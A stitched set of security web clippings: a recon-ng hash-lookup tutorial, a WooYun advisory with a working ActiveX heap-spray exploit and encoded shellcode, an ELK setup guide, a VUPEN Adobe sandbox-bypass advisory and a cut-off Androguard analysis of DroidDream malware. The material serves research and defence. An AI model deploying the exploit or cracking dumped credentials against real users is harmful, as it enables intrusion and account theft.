http://www.jabberes.org/servers/

### Links****

SendXMPP Web Site: http://sendxmpp.platon**.** sk/  
Iran Honeynet Project: http://www.honeynet**.** ir/  
CentOS: http://www.centos.org/

Copyright © 2011 Sayyed Mehdi Poustchi Amin  
All Rights Reserved**.**

****

# Hacking and Hiking: "Cracking" Hashes with recon-ng and bozocrack

**Created:**| _8/27/2014 3:26:36 PM_  
---|---  
**Updated:**| _8/27/2014 3:26:36 PM_  
**Author:**| __  
**Tags:**| _hashes crypto_  
  

# "Cracking" Hashes with recon-ng and bozocrack

The other day I came across a database dump that had user login names and
hashed passwords. I had over 1,000 of them and they were SHA256 hashes. I
remembered that there was some tool that could perform Google look-ups for
hashes and asked the Twitter-verse for help. Wouldn't you know that the first
person to reply was Tim Tomes who said that the bozocrack module inside recon-
ng could do exactly what I wanted. Excellent\!  
  
This blog post is a walk-through of that process.

###  Pulling our Hashes from a File

First thing we need to do is get the hashes. Let's say I have all my hashes in
a files called, oh I don't know "hashes" and I'll put them on the Desktop of
my Kali linux system. So the file will be located at /root/Desktop/hashes.  
  
Launch recon-ng and create a workspace named "hashes" \(or whatever you want\)
for this work. Workspaces allow us to logically partition our work so that if
we have several projects or customers that we are doing work for
simultaneously, their data doesn't get co -mingled.<img
src='img/Temp2_3601.png' />  
---  
recon-ng launched from inside a terminal  
Now let's tell recon-ng to load the bozocrack module. Since it is the only
module with "bozo" in it, we can use a shortcut and just type _load bozo_ as
shown below. I also used the _show info_ command to get information about the
module I just loaded.<img src='img/Temp2_3604.png' />  
---  
Loading the bozocrack module and showing the info  
The important part of this step is to see all of the options that you can
configure. In this case the SOURCE variable is the only option to modify. By
default, the module pulls information from the credentials table inside the
recon-ng database. But we can tell it to use a different location as the
source of our hashes. Let's do that first.  
  
We know from above that our file with the hashes is at /root/Desktop/hashes.
We change where the module looks for the source using the _set_ command: _set
SOURCE /root/Desktop/hashes_\(as shown below\).<img src='img/Temp2_3602.png'
/>  
---  
All set to run the bozocrack module using the hashes file  
At this point, we just type _run_ and grab a $cold\_beverage. The module will
make Google queries for each hash in the file you specified and it'll display
the results on the screen. Below is what mine looked like once it
finished.<img src='img/Temp2_3597.png' />  
---  
bozocrack module output  
You can see that the hashes it found a match for start with a green
"splat"/asterix \[\*\]. Also note that there were three types of hashes in my
file: MD5, SHA1, and SHA256. Pretty cool that the module just took them all
and didn't make me separate them into separate files. +1 for recon-ng  
So that is the easy way for doing the lookups. You can easily scrape the
terminal window screen and copy all the found hashes into a text editor for
post-processing. That works....but I'm a lazy guy. I like to have my tools do
the work. So, let's do it another way too.

###  Using the Internal DB

As I mentioned above, recon-ng maintains a database for its findings. To see
all the tables and such, type _show schema_ and they will appear.

We are going to be storing our password hashes in the hash column of the
credentials table. First thing I do is to import all my hashes into the DB
using the import/csv\_file module. Just type _use import/csv_ and hit enter
\(since the csv\_file is the only file with CSV in it inside the import path,
you don't have to complete the whole name. Like I said, I'm lazy\!\). Again I
like doing a _show info_ to see what options there are.

<img src='img/Temp2_3600.png' />  
---  
Import/csv\_file module  
OK, so we need to set the FILENAME option \(_set FILENAME
/root/Desktop/hashes_\) and also the TABLE \(_set TABLE credentials_\). Now
that we have those fields entered, if we do another _show info_ we can see
that there is now another option to change. See the "CSV\_\#\#\#\#..." column
in the picture below? recon-ng is telling us it found content and wants to
know where to put it. So we type set  _CSV\_\[ENTERTHENUMBER\] hash_ as shown
below.

<img src='img/Temp2_3598.png' />  
---  
Import/csv\_file module with column recognized  
Now we have to go back to the bozocrack module \(_load bozocrack_\). Since we
ran the module already using the SOURCE of a file, we'll need to switch from
the file for the SOURCE to the default \(_set SOURCE default_\) as the default
uses the contents of the DB. Oh, want to check if your hashes loaded OK? Type
_show credentials_ and you'll see the hashes in their proper column \(below\).

<img src='img/Temp2_3596.png' />  
---  
Credentials table before bozocrack  
OK, let's kick this off using the _run_ command and let 'er rip. We will see
the same output from when we ran the bozocrack module above but this time the
bozocrack module will store the results in the DB. To show this, just type
**show credentials** again and you should see more of the columns filled out
\(like the pic below\).

<img src='img/Temp2_3599.png' />  
---  
Credentials table after bozocrack  
Yay\! We got them in the DB but how to we get them out? Of course there is a
module for that. Type _load reporting/csv_ to load that module. _show info_
will tell you what options there are. We see \(below\) that we need to alter
the FILENAME \(_set FILENAME /root/Desktop/recon-ng\_hashes\_out_\) and TABLE
\(_set TABLE credentials_\) and then type _run_. Magic\!

<img src='img/Temp2_3595.png' />  
---  
Using the reporting/csv output module  
On your desktop should be a CSV file with your hashes, what type of hashes
they are, and the cleartext passwords in it \(like the one below\).

<img src='img/Temp2_3603.png' />  
---  
Exported CSV report from recon-ng  
Hope this was helpful\!

# 微软WMITOOLS远程代码执行漏洞 | WooYun-2010-01006 | WooYun.org
**Created:**| _12/27/2010 8:39:23 AM_  
---|---  
**Updated:**| _12/27/2010 8:39:36 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit reversing_  
  

# WooYun.org

登录 | 注册
  * 首页
  * 厂商列表
  * 白帽子
  * 漏洞列表
  * 提交漏洞
  * 帮助
  * 关于

<img src='img/Temp2_10813' alt='搜索' />

当前位置：WooYun >> 漏洞信息

## 漏洞概要

### 缺陷编号： WooYun-2010-01006

### 漏洞标题： 微软WMITOOLS远程代码执行漏洞

### 相关厂商： Microsoft

### 漏洞作者： 牛奶坦克

### 提交时间： 2010-12-22

### 公开时间： 2010-12-22

### 漏洞类型： 远程代码执行

### 危害等级： 高

### 漏洞状态： 未联系到厂商或者厂商积极忽略

### 漏洞来源： http://www.wooyun.org

* * *
## 漏洞详情

### 简要描述：

微软提供的WMITOOLS存在一个远程代码执行漏洞,攻击者可以直接控制一个调用地址,让程序直接走到我们在内存中已经布置好的shellcode上.

### 详细说明：

微软提供的WMITOOLS存在一个远程代码执行漏洞,攻击者可以直接控制一个调用地址,让程序直接走到我们在内存中已经布置好的shellcode上.  
  
官方地址:  
http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314&displaylang=en  
  
漏洞出在WBEMSingleView.ocx的AddContextRef方法上.  
  
\[id\(0x00000018\), helpstring\("Increment Context Ref Count"\)\]  
long AddContextRef\(long lCtxtHandle\);  
  
02D26BF9 837D 08 FF cmp dword ptr \[ebp+8\], -1  
02D26BFD 74 06 je short 02D26C05  
02D26BFF 837D 08 00 cmp dword ptr \[ebp+8\], 0  
02D26C03 75 07 jnz short 02D26C0C  
02D26C05 B8 05400080 mov eax, 80004005  
02D26C0A EB 13 jmp short 02D26C1F  
02D26C0C 8B45 08 mov eax, dword ptr \[ebp+8\] //可控的参数  
02D26C0F 8945 FC mov dword ptr \[ebp-4\], eax  
02D26C12 8B4D FC mov ecx, dword ptr \[ebp-4\]  
02D26C15 8B11 mov edx, dword ptr \[ecx\] //继续传,传给了edx  
02D26C17 8B45 FC mov eax, dword ptr \[ebp-4\]  
02D26C1A 50 push eax  
02D26C1B FF12 call dword ptr \[edx\] //控制了这个调用地址

### 漏洞证明：

POC:  

[code]

    <html>
    
    <object classid="clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08" id="target"></object>
    
    
    
    <SCRIPT language="JavaScript">
    
    target.AddContextRef(0x0c0c0c0c);
    
    </script>
    
    </html>
    
[/code]

  
  

<img src='img/Temp2_10813' width='600' />

  
  

<img src='img/Temp2_10813' width='600' />

  
  
可执行shellcode的代码:  

[code]

    <html>
    
    <object classid="clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08" id="target"></object>
    
    
    
    <SCRIPT language="JavaScript">
    
    //run calc.exe
    
    var shellcode = unescape("%uc92b%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u0c13%u452b%u83df%ufceb%uf4e2%uc3f0%udf01%u2b0c%u9ace%ua030%uda39%u2a74%u54aa%u3343%u80ce%u2a2c%u96ae%u1f87%udece%u1ae2%u4685%uafa0%uab85%uea0b%ud28f%ue90d%u2bae%u7f37%udb61%uce79%u80ce%u2a28%ub9ae%u2787%u540e%u3753%u3444%u3787%udece%ua2e7%ufb19%ue808%u1f74%ua068%uef05%ueb89%ud33d%u6b87%u5449%u377c%u54e8%u2364%ud6ae%uab87%udff5%u2b0c%ub7ce%u7430%u2974%u7d6c%u27cc%ueb8f%u8f3e%udb64%udbcf%u4353%u21dd%u2586%u2012%u48eb%ub324%u2b6f%udf45%u0000");
    
    
    
    //先喷好堆
    
    var bigblock = unescape("%u0C0C%u0C0C");
    
    var headersize = 20;
    
    var slackspace = headersize+shellcode.length;
    
    while (bigblock.length<slackspace) bigblock+=bigblock;
    
    fillblock = bigblock.substring(0, slackspace);
    
    block = bigblock.substring(0, bigblock.length-slackspace);
    
    while(block.length+slackspace<0x40000) block = block+block+fillblock;
    
    memory = new Array();
    
    for (x=0; x<350; x++) memory[x] = block +shellcode;
    
    
    
    //让程序直接call过去
    
    target.AddContextRef(0x0c0c0c0c);
    
    </script>
    
    </html>
    
[/code]

  

### 修复方案：

有问题,找微软.

* * *
## 漏洞回应

### 厂商回应：

未能联系到厂商或者厂商积极拒绝

# Creating a Single-Node ELK Stack

**Created:**| _9/23/2018 8:55:46 AM_  
---|---  
**Updated:**| _9/23/2018 8:55:46 AM_  
**Author:**| _wishi_  
**Tags:**| _log-management elasticsearch elk_  
  

  

# Burnham Forensics

The often irrelevant thoughts of a student lost in the database.

<img src='img/cropped-digital_forensics-800x450.jpg' width='576' height='200'
/>

<img src='img/will-migrating-to-the-cloud-save-money-51.png' width='576'
height='192' alt='Will-Migrating-to-the-Cloud-Save-Money-5' />

Building off my previous post, Introduction to ELK, I figured it would be
great to begin to discuss how to create a “stack.” I have created multiple
different stacks in the past couple months, each with their own specific
purpose. While the services within an ELK stack are meant to be spread across
different nodes, building a “single-node” stack can be a great and easy way to
familiarize yourself first-hand with the functionality of Elasticsearch,
Logstash, and Kibana.

**NOTE** : This stack is meant for educational purposes only, and would
caution against taking a “single-node” stack from Proof-of-Concept \(POC\) to
Production \(PROD\).

The following steps below are heavily inspired and adopted by the work or
Roberto Rodriguez, @Cyb3rWard0g. Roberto’s dedication to DFIR and Threat
Hunting, as well as his generously detailed GitHub page, have taught me almost
all of the fundamentals I needed to learn when starting with ELK. If you have
time, I would highly recommend checking out his work.

#### Requirements

  * ESXI Server OR VMware Workstation
  * Ubuntu Server 18.04.1 LTS – **ISO Download**
  * **OR** Ubuntu Server 16.04.5 LTS – **ISO Download**
    * Minimum of 3GB storage
    * Minimum 4GB RAM

### Setting up Elasticsearch

The base installation of Ubuntu does not come with Java, which is necessary
for both Elasticsearch and Logstash to run, so you are going to have to
install it. At the time of this post, both Java 9 AND Java 10 are
**unsupported** \(yeah I have no idea why\) so we will be installing the Java
8 package.

If you are using a previously created VM, you should first check to see if
Java is installed.

`$ java -version`

If Java is not installed, or is not version 8, install OpenJDK.

**NOTE** : After running through this post, I heard from a coworker that
OpenJDK may soon be “depreciated,” meaning it may no longer be necessary to
install if your stack has the latest versions of Elastic services.

`$ sudo apt-get install openjdk-8-jre-headless`

Check your Java version again. You will see that you are now running “Openjdk
version 1.8.X” on your terminal window.

With Java installed, we can now turn our attention to installing
Elasticsearch. To install any of Elastic’s products, we first need to grab
their PGP signing key down to our VM.

`$ wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -`
`$ sudo apt-get install apt-transport-https`

Make sure your system is fully up-to-date and install Elasticsearch’s Debian
package. At the time of this post, the most recent version of Elastic’s
services is 6.3.2.

**NOTE** : To my knowledge, with the introduction of 6.X it became a
requirement that all Elastic services working in tandem with one another in a
stack are of the same version. It is important that if you install
Elasticsearch 6.3.2, that you also install Logstash 6.3.2 down the road, and
so on and so forth.

`$ echo "deb https://artifacts.elastic.co/packages/6.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list`
`$ sudo apt-get update && sudo apt-get install elasticsearch`

When Elasticsearch is done installing, you will then need to navigate to it’s
directory to modify its configuration file, _elasticsearch.yml_. Occasionally
when I attempt to navigate to this directory, I am denied permission. We will
also need elevated privileges later in the post, so starting here I am going
to enter superuser, or root.

`$ sudo su`

`# cd /etc/elasticsearch`

`# nano /etc/elasticsearch/elasticsearch.yml`

You should now be presented with the following window. Since I am a big fan of
Mac, there may be some differences GUI-wise; I am using SSH in Mac Terminal
while also using VMware Fusion for my Ubuntu 18.04.1 virtual environment.

<img src='img/screen-shot-2018-08-14-at-12-14-02-am2.png' width='576'
height='429' alt='Screen Shot 2018-08-14 at 12.14.02 AM' />

From here you have a couple of steps, some of which are optional while others
are not:

  * If you wish to name your cluster, as I have already done above, remove the “\#” from the beginning of the line with  _cluster.name_ and add your own custom name
  * Take note of the  _path.logs_ variable — this is the path where all your log files associated with Elasticsearch will reside
  * Navigate to the **Network** section, and look for  _network.host_
    * Remove the “\#” from the beginning of the line
    * If your IP is static, you can put your current IP here. However, for the purpose of this practice stack, type “ _localhost”_
  * Exit your text editor \(For nano, press CTR+X then Y to save\)

Now that Elasticsearch is configured to how you want, start the service and
confirm that it is running\!

<img src='img/screen-shot-2018-08-14-at-12-34-26-am.png' width='576'
height='431' alt='Screen Shot 2018-08-14 at 12.34.26 AM.png' />

### Setting up Kibana

This is one of the quickest to setup:

`# apt-get update && sudo apt-get install kibana`

`# nano /etc/kibana/kibana.yml`

From here, find _“server.host”_ and remove the “\#” at the beginning of the
line. Then, add  _“localhost”_ as your address. Your configuration file should
look like mine below.

<img src='img/screen-shot-2018-08-14-at-12-46-17-am.png' width='576'
height='431' alt='Screen Shot 2018-08-14 at 12.46.17 AM.png' />

Start the Kibana service and check to ensure it is running. It’s as simple as
that\!

<img src='img/screen-shot-2018-08-14-at-12-50-13-am.png' width='576'
height='431' alt='Screen Shot 2018-08-14 at 12.50.13 AM.png' />

### Setting up Logstash

Logstash, in my opinion, is one of the more complex of Elastic’s services.
This is due to how much goes on concerning this service, and the delicate role
it plays in filtering logs it is receiving from endpoints.

`# apt-get update && sudo apt-get install logstash`

**NOTE** : Normally at this step you would begin to implement SSL capability,
but for the purpose of this stack we will refrain from diving into the beast
for now.

Logstash’s main purpose is to filter logs that you are ingesting. That may be
a little hard without rules for these filters thought, right? So let’s add a
quick one right now.

Navigate to Logstash’s directory for filters, “ _conf.d_ ,” and create a new
file called  _“02-beats-input.conf”_\(thanks to @Cyb3rWard0g for the naming
scheme\). This will be your input filter for all logs that Logstash sees from
Beats data shippers.

`# cd /etc/logstash/conf.d`

`# nano 02-beats-input.conf`

Enter exactly what you see in my window below in your new input filter. Make
sure SSL is set to  _“false”_ as we have not implemented it, and be sure to
save the file as you exit.

<img src='img/screen-shot-2018-08-14-at-1-28-31-am.png' width='576'
height='431' alt='Screen Shot 2018-08-14 at 1.28.31 AM.png' />

Next, we need to create an output filter to correspond to out new input
filter. Create a new file called _“_ _50-beats-output.conf”_ in the same
directory as your input filter.

`# nano 50-beats-output.conf`

Ensure that your output filter matches my window below, and that you save the
file when you exit.

<img src='img/screen-shot-2018-08-14-at-1-40-31-am.png' width='576'
height='431' alt='Screen Shot 2018-08-14 at 1.40.31 AM.png' />

**NOTE** : In the line starting with “ _index,”_ I chose to sort my indices by
month \(YYYY.MM\). This is entirely by choice, and you can adjust the output
filter to sort by day \(YYYY.MM.dd\) as well. I also chose to adopt
@Cyb3rWard0g‘s naming scheme as it allows you to easily separate your input
and output filters by the number that precedes them. This is why our first
input filter is “02” while our first output filter is “50,” as you would
normally have many different filters for bigger environments.

Now it is time to start up Logstash. If Logstash is already running, restart
the service to ensure that the filters kick into place.

<img src='img/screen-shot-2018-08-14-at-1-45-42-am.png' width='576'
height='431' alt='Screen Shot 2018-08-14 at 1.45.42 AM.png' />

### Congrats\!

You now have a fully functional, basic ELK Stack waiting for logs to be sent
over\! You may have noticed that I mentioned Beats data shippers, however we
never configured any. These are done on the endpoints you wish to monitor, and
I hope to cover the setup process for that in a later post.

Enough of listening to me though, go have fun\! Be adventurous, look around at
all your newly installed directories and play around to see what does what;
that is what helps me to better understand how services interact and function
on my servers. If you have any questions, or think I missed something \(as I
often do\), comment below or contact me\! <img src='' width='576' height='576'
alt='🙂' />

  

# Course Materials For Advanced Binary Deobfuscation | e-Shielder Security News
**Created:**| _2/27/2020 6:11:50 PM_  
---|---  
**Updated:**| _2/27/2020 6:11:50 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Course Materials For Advanced Binary Deobfuscation

__February 27, 2020 __eShield __ Uncategorized __0

.

<img src='img/transparency_0.png' width='810' height='450' />

**Advanced Binary Deobfuscation**  
This repository contains the course materials of Advanced Binary Deobfuscation
at the Global Cybersecurity Camp \(GCC\) Tokyo in 2020.

**Course Abstract**  
Reverse engineering is not easy, especially if a binary code is obfuscated.
Once obfuscation performed, the binary would not be analyzed accurately with
naive techniques alone. In this course, you will learn obfuscation principles
\(especially used by malware\), theory and practice of obfuscated code
analysis, and how to write your own tool for deobfuscation. In particular, we
delve into data-flow analysis and SAT/SMT-based binary analysis \(e.g.,
symbolic execution\) to render obfuscation ineffective.  
  
**Outline**  
This course is about binary deobfuscation, meant for security analysts and
researchers \(in embryo\) looking to add a skill set on writing your own tool
to their arsenal. At the end of this class, attendees will be able to:

  * Have an in-depth understanding of theory, practice, and behind insights of obfuscation
  * Build a custom obfuscated payload with state-of-the-art packers
  * Apply compiler optimization techniques to binary analysis tasks
  * Design and implement automated binary analysis tools top on a symbolic execution engine
  * Even analyze obfuscated malware used in the APT campaign

Towards this end, the course was held in the form of a combination of
classroom learning and hands-on training at GCC.

**Prerequisite Knowledge**  
Attendees should have:

  * Robust skill set in x86/x64 architecture
  * Basic experience with C/C++ and Python
  * Basic understanding of low-level CS \(e.g., OSs, Compilers, interpreters, linkers, and loaders\)

The following links are useful to bridge the gap.

**Quick Start**  
We assume Ubuntu 18.04 with Miasm, Z3, and Jupyter Notebook.

  1. Install VirtualBox
  2. Download Ubuntu 18.04.3 Image and install it in VirtualBox
  3. Clone this repository
  4. Execute `./setup.sh ./`
  5. Install IDA Freeware
  6. Read `Advanced-Binary-Deobfuscation.pdf` and enjoy\!

\(function\(d, s, id\)\{var js, fjs = d.getElementsByTagName\(s\)\[0\];if
\(d.getElementById\(id\)\) return;js = d.createElement\(s\); js.id = id;js.src
=
“http://connect.facebook.net/en\_US/sdk.js\#xfbml=1&version=v2.5”;fjs.parentNode.insertBefore\(js,
fjs\);\}\(document, ‘script’, ‘facebook-jssdk’\)\);  
  
Source link

.

# Open source Windows kernel driver loader

**Created:**| _5/7/2017 10:50:29 AM_  
---|---  
**Updated:**| _5/7/2017 10:50:29 AM_  
**Author:**| __  
**Tags:**| _Microsoft Tutorials Driver_  
  

  

# Open source Windows kernel driver loader

**Windows kernel driver loader**

If you write Windows kernel drivers, this GUI-based tool will allow you to
register your kernel driver easily, by creating a new System service and makes
it easy for you to start your driver without rebooting, during the development
stage of your project.

**Tech stack**

  * C/C++
  * QT 5 \(Visual Studio 2015 compiler\)

**Operating Systems**

  * Windows 10
  * Windows 8.1
  * Windows 7

_I might add an option in future version to select Services boot order._

**Screenshot**

<img src='img/driver-loeader.png' width='264' height='300' />

**Source Code**

https://github.com/maldevel/driver-loader

**Download**

https://github.com/maldevel/driver-loader/releases

### Like this:

driver, hacking, programming, rootkits

  

# Adobe Acrobat / Reader XI-X AcroBroker Sandbox Bypass - CXSecurity.com

**Created:**| _6/4/2014 9:35:49 AM_  
---|---  
**Updated:**| _6/4/2014 9:35:49 AM_  
**Author:**| __  
**Tags:**| _software testing sandboxing_  
  

# Reader XI-X AcroBroker Sandbox Bypass

**Adobe Acrobat / Reader XI-X AcroBroker Sandbox Bypass**  
<img src='img/Temp2_477.png' width='730' height='2px' />**Published**|
**Credit**| **Risk**  
---|---|---  
**2014.06.04**| **VUPEN**| ****High****  
**CWE**| **CVE**| **Local**| **Remote**  
---|---|---|---  
**CWE-264  
**| **CVE-2014-0512  
**| ****No****| ****Yes****  
**CVSS Base Score**| **Impact Subscore**|  | **Exploitability Subscore**  
---|---|---|---  
**10/10**| **10/10**|  | **10/10**  
**Exploit range**| **Attack complexity**|  | **Authentication**  
---|---|---|---  
**Remote**| **Low**|  | **No required**  
**Confidentiality impact**| **Integrity impact**|  | **Availability impact**  
**Complete**| **Complete**|  | **Complete**  
<img src='img/Temp2_477.png' width='100%' height='2px' />

VUPEN Security Research - Adobe Acrobat & Reader XI-X "AcroBroker"  
Sandbox Bypass \(Pwn2Own\)  
  
Website : http://www.vupen.com  
  
Twitter : http://twitter.com/vupen  
  
  
I. BACKGROUND  
\---------------------  
  
Adobe Acrobat and Reader are the global standards for electronic  
document sharing. They are used to create, view, search, digitally  
sign, verify, print, and collaborate on Adobe PDF files.  
  
  
II. DESCRIPTION  
\---------------------  
  
VUPEN Vulnerability Research Team discovered a critical vulnerability  
in Adobe Acrobat and Reader.  
  
The vulnerability is caused by an input validation error in the  
"AcroBroker.exe" component when processing local file paths, which  
could be exploited by attackers to write malicious files to any  
location on the disk and bypass Adobe Acrobat's sandbox.  
  
  
III. AFFECTED PRODUCTS  
\---------------------------  
  
Adobe Acrobat and Reader XI version 11.0.06 and prior  
Adobe Acrobat and Reader XI version 10.1.9 and prior  
  
  
IV. SOLUTION  
\----------------  
  
Upgrade to Adobe Acrobat and Reader XI v11.0.07 or X v10.1.10.  
  
  
V. CREDIT  
\--------------  
  
This vulnerability was discovered by VUPEN Security.  
  
  
VI. ABOUT VUPEN Security  
\---------------------------  
  
VUPEN is the leading provider of defensive and offensive cyber security  
intelligence and advanced zero-day research. All VUPEN's vulnerability  
intelligence results exclusively from its internal and in-house R&D  
efforts conducted by its team of world-class researchers.  
  
VUPEN Solutions: http://www.vupen.com/english/services/  
  
  
VII. REFERENCES  
\----------------------  
  
http://helpx.adobe.com/security/products/reader/apsb14-15.html  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0512  
  
  
VIII. DISCLOSURE TIMELINE  
\-----------------------------  
  
2013-12-05 - Vulnerability Discovered by VUPEN Security  
2014-03-13 - Vulnerability Reported to Adobe During Pwn2Own 2014  
2014-05-13 - Vulnerability Fixed by Adobe  
2014-05-26 - Public disclosure

<img src='img/Temp2_477.png' width='100%' height='2px' />

**References:**

http://helpx.adobe.com/security/products/reader/apsb14-15.html

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0512

<img src='img/Temp2_477.png' width='100%' height='2px' />  
  
**_See this note in TXT Version_**

<img src='img/Temp2_477.png' width='100%' height='2px' />

# Androguard: DroidDream

**Created:**| _3/9/2011 11:34:30 AM_  
---|---  
**Updated:**| _3/9/2011 11:34:36 AM_  
**Author:**| __  
**Tags:**| _reversing analysis_  
  

### DroidDream

Hi \!

  

I am analyzing DroidDream with Androguard to check if I need other useful
features \(and the answer is YES :\)\), but I can show you how to use it
quickly. Moreover it's always interesting to improve his own tool with real
examples ;\). \(Lookout and Aegislab have already published quickly
analysis.\)

  

You can use the API or directly the ipython shell with androlyze :

[code]

    $ ./androlyze.py -s  
    Androlyze version BETA 0  
      
    [~/androguard]  
    |2>  
    
    
[/code]

And now you open the APK, open the Dex and run the analysis to have more
information :

[code]

    [~/androguard]  
    |2>a = APK("./apks/DroidDream/Magic Hypnotic Spiral.apk" )  
      
    [~/androguard]  
    |3>vm = DalvikVMFormat( a.get_dex() )  
      
    [~/androguard]  
    |4>vmx = VM_BCA( vm )
    
[/code]

We can check the AndroidManifest.xml to find entry points :  

[code]

      
    [~/androguard]  
    |5>a.get_permissions()  
    Out[5]:  
    ['android.permission.READ_PHONE_STATE',  
    'android.permission.CHANGE_WIFI_STATE',  
    'android.permission.ACCESS_WIFI_STATE',  
    'android.permission.INTERNET']  
      
    [~/androguard]  
    |6>a.get_activity()  
    Out[6]: ['com.mikeperrow.spiral.SpiralActivity', 'com.android.root.main']  
      
    |7>a.get_receiver()  
    Out[7]: []  
      
    [~/androguard]  
    |8>a.get_service()  
    Out[8]: ['com.android.root.Setting', 'com.android.root.AlarmReceiver']  
      
    [~/androguard]  
    |9>a.zip.namelist()  
    Out[39]:  
    ['META-INF/MANIFEST.MF',  
    'META-INF/ANDROID.SF',  
    'META-INF/ANDROID.RSA',  
    'assets/exploid',  
    'assets/profile',  
    'assets/rageagainstthecage',  
    'assets/sqlite.db',  
    'lib/armeabi/libandroidterm.so',  
    'res/drawable/icon.png',  
    'res/drawable/minispiral.png',  
    'res/layout/main.xml',  
    'AndroidManifest.xml',  
    'classes.dex',  
    'resources.arsc']  
      
    
    
[/code]

  
  
We can assume that "com.android.root.main", "com.android.root.Setting" and
"com.android.root.AlarmReceiver" have been injected.  
  

[code]

    [~/androguard]  
    |13>vm.get_methods_class( FormatClassToDex("com.android.root.main") )[0].show()  
    ENCODED_METHOD method_idx_diff=106 access_flags=65537 code_off=0x3344 (Lcom/android/root/main; ()V,)  
    ********************************************************************************  
    DALVIK_CODE :  
    REGISTERS_SIZE 0x1  
    INS_SIZE 0x1  
    OUTS_SIZE 0x1  
    TRIES_SIZE 0x0  
    DEBUG_INFO_OFF 0x8ca0  
    INSNS_SIZE 0x4  
      
    0 0x0 invoke-direct v0 , [meth@ 0 Landroid/app/Activity; () V ]  
    1 0x6 return-void  
    ********************************************************************************  
      
    
    
[/code]

Ok, not interesting ....  
  

[code]

    [~/androguard]  
    |15>vm.get_methods_class( FormatClassToDex("com.android.root.main") )[1].show()  
    ENCODED_METHOD method_idx_diff=108 access_flags=1 code_off=0x335c (Lcom/android/root/main; (Landroid/os/Bundle;)V,onCreate)  
    ********************************************************************************  
    DALVIK_CODE :  
    REGISTERS_SIZE 0x7  
    INS_SIZE 0x2  
    OUTS_SIZE 0x3  
    TRIES_SIZE 0x1  
    DEBUG_INFO_OFF 0x8ca5  
    INSNS_SIZE 0x28  
    ENCODED_CATCH_HANDLER_LIST size=0x1  
    ENCODED_CATCH_HANDLER size=0x1  
    ENCODED_TYPE_ADDR_PAIR 95 34  
      
    0 0x0 invoke-super v5 , v6 , [meth@ 1 Landroid/app/Activity; (Landroid/os/Bundle;) V onCreate]  
    1 0x6 new-instance v1 , [type@ 13 Landroid/content/Intent;]  
    2 0xa const-class v4 , [type@ 50 Lcom/android/root/Setting;]  
    3 0xe invoke-direct v1 , v5 , v4 , [meth@ 20 Landroid/content/Intent; (Landroid/content/Context; Ljava/lang/Class;) V ]  
    4 0x14 invoke-virtual v5 , v1 , [meth@ 110 Lcom/android/root/main; (Landroid/content/Intent;) Landroid/content/ComponentName; startService]  
    5 0x1a const/4 v3 , [#+ 0]  
    6 0x1c const-string v4 , [string@ 351 com.mikeperrow.spiral.SpiralActivity]  
    7 0x20 invoke-static v4 , [meth@ 236 Ljava/lang/Class; (Ljava/lang/String;) Ljava/lang/Class; forName]  
    8 0x26 move-result-object v3  
    9 0x28 if-eqz v3 , [+ 10]  
    10 0x2c new-instance v2 , [type@ 13 Landroid/content/Intent;]  
    11 0x30 invoke-direct v2 , v5 , v3 , [meth@ 20 Landroid/content/Intent; (Landroid/content/Context; Ljava/lang/Class;) V ]  
    12 0x36 invoke-virtual v5 , v2 , [meth@ 109 Lcom/android/root/main; (Landroid/content/Intent;) V startActivity]  
    13 0x3c invoke-virtual v5 , [meth@ 107 Lcom/android/root/main; () V finish]  
    14 0x42 return-void  
    15 0x44 move-exception v4  
    16 0x46 move-object v0 , v4  
    17 0x48 invoke-virtual v0 , [meth@ 237 Ljava/lang/ClassNotFoundException; () V printStackTrace]  
    18 0x4e goto [+ -19]  
    ********************************************************************************  
    
    
[/code]

Maybe we can check the next class :  

[code]

    [~/androguard]  
    |19>for i in vm.get_methods_class( FormatClassToDex("com.android.root.Setting") ) :  
    ....:     print i.get_name(), i.get_descriptor()  
    ....:  
     ()V  
     ()V  
    access$0 (Lcom/android/root/Setting; Z)V  
    access$1 (Lcom/android/root/Setting;)Landroid/content/Context;  
    cpFile (Landroid/content/Context; Ljava/lang/String; Ljava/lang/String;)Z  
    destroy (Z)V  
    getRawResource (Landroid/content/Context; Ljava/lang/String; Ljava/lang/String;)Z  
    isPackageInstalled (Landroid/content/Context; Ljava/lang/String;)Z  
    postUrl (Ljava/lang/String; Landroid/content/Context;)V  
    runRootCommand (Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String;  
    onBind (Landroid/content/Intent;)Landroid/os/IBinder;  
    onCreate ()V  
    onStart (Landroid/content/Intent; I)V  
    
    
[/code]

More interesting ;\)  

[code]

    [~/androguard]  
    |21>vm.get_method_descriptor( "Lcom/android/root/Setting;", "onCreate", "()V" ).show()  
     ENCODED_METHOD method_idx_diff=1 access_flags=1 code_off=0x3d9c (Lcom/android/root/Setting; ()V,onCreate)  
    ********************************************************************************  
    DALVIK_CODE :  
     REGISTERS_SIZE 0xd  
     INS_SIZE 0x1  
     OUTS_SIZE 0x3  
     TRIES_SIZE 0x0  
     DEBUG_INFO_OFF 0x9070  
     INSNS_SIZE 0x7c  
    0 0x0 const/4 v9 , [#+ 1]  
    1 0x2 const/4 v8 , [#+ 0]  
    2 0x4 const-string v11 , [string@ 601 rt]  
    3 0x8 const-string v10 , [string@ 570 pref_config_setting]  
    4 0xc invoke-super v12 , [meth@ 11 Landroid/app/Service; () V onCreate]  
    5 0x12 invoke-virtual v12 , [meth@ 82 Lcom/android/root/Setting; () Landroid/content/Context; getApplicationContext]  
    6 0x18 move-result-object v6  
    7 0x1a iput-object v6 , v12 , [field@ 14 Lcom/android/root/Setting; Landroid/content/Context; ctx]  
    8 0x1e sget-object v6 , [field@ 16 Lcom/android/root/Setting; [B u]  
    9 0x22 invoke-virtual v6 , [meth@ 329 [B () Ljava/lang/Object; clone]  
    10 0x28 move-result-object v1  
    11 0x2a check-cast v1 , [type@ 132 [B]  
    12 0x2e invoke-static v1 , [meth@ 100 Lcom/android/root/adbRoot; ([B) V crypt]  
